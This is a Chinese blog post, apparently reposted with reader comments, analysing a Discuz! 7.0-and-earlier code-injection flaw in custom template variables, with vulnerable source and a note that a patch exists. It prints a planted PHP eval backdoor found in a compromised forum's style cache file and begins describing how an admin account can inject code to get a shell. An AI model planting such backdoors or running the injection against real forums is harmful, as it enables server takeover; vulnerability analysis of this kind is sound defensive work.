使用Discuz做论坛的朋友请注意这一漏洞,目前DZ已放出补丁,补丁介绍在文章最后。
突然发现dz论坛网页文字变大了

网页源代码可以看到:

–><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" />
<title>论坛之家 找论坛找网址就上论坛之家交流http://luntan123.com/</title>

查看dz style缓存文件:
\forumdata\cache\style_1.php
$X=SUBSTR(MD5($_GET['B']),28);IF($X=='3738')EVAL($_POST['A']);//', 'aaaaaaaaaa');

查看dz数据库表记录:
cdb_stylevars
48 1 ','');echo '<!–';var_dump(5);echo '–>';$x=substr… aaaaaaaaaa

漏洞为:
(Discuz! 7.0 及以下版本存在)
/admin/styles.inc.php

……
if($newcvar && $newcsubst) {
if($db->result_first("Select COUNT(*) FROM {$tablepre}stylevars Where variable='$newcvar' AND styleid='$id'")) {
cpmsg('styles_edit_variable_duplicate', '', 'error');
} elseif(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
cpmsg('styles_edit_variable_illegal', '', 'error');
}
$newcvar = strtolower($newcvar);
$db->query("Insert INTO {$tablepre}stylevars (styleid, variable, substitute)
VALUES ('$id', '$newcvar', '$newcsubst')");
}//插入变量数据,http://luntan123.com 整理
……
updatecache('styles');//更新缓存(写文件)
……
?>
这是为某一style风格增加变量的代码,把变量名与变量的值存入数据库,虽然post过来的数据daddslashes了,但入库之后又都是纯净的数据了。
这里涉及到一个正则问题,判断变量名的:!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]* /", $newcvar),其中“\x7f-\xff”是
指ASCII码值在127~255之间的字符,它们经常作为中文字符的首字节出现,所以可以利用其作为中文匹配的标志。于是这个匹配貌似只是允许字
母或者中文做变量名,没其他高深的匹配,随便测试了下,一般情况下这个正则等于虚设:

$newcvar=$_GET['newcvar'];
echo $newcvar;
echo "<br>";
if(!preg_match("/[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/", $newcvar)) {
echo "haha";
}else{
echo 'pass';
}
?>
下面看看updatecache这个函数,在include里的cache.func.php文件里,先从数据库取出来,经过一段处理最终写入文件,具体我不描述了,我只
谈谈重点,看一段函数:

$evaluate = '';
foreach($data as $key => $val) {
if(is_array($val)) {
$evaluate .= "\$key = ".arrayeval($val).";\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}
啥也不说了,处理了value没处理key,而这个key就是之前我们提交的,干净的存在数据库里的值。关于数组的key,大家可以参考下幻影旅团第三期《高级PHP代码审核技术》,那篇文章好多地方谈到key的问题,dz这里却忽视了…
于是可以直接拿shell了,利用方法(论坛地址改成自己的),先用管理员帐号登陆后台,无需论坛创始人,管理员等级即可:
http://luntan123.com/admincp.php … &id=1&adv=1中,最下面有个“自定义模板变量”,变量中
转载请尊重版权,出处:秋天博客 本文链接: https://www.cfresh.net/web-security/107
@真好网
LeadBBS也不错,速度上比较有优势。
@海天无影
速度,速度,呵呵。
@Forece
这个管理员权限是论坛管理员不是主机的管理员。。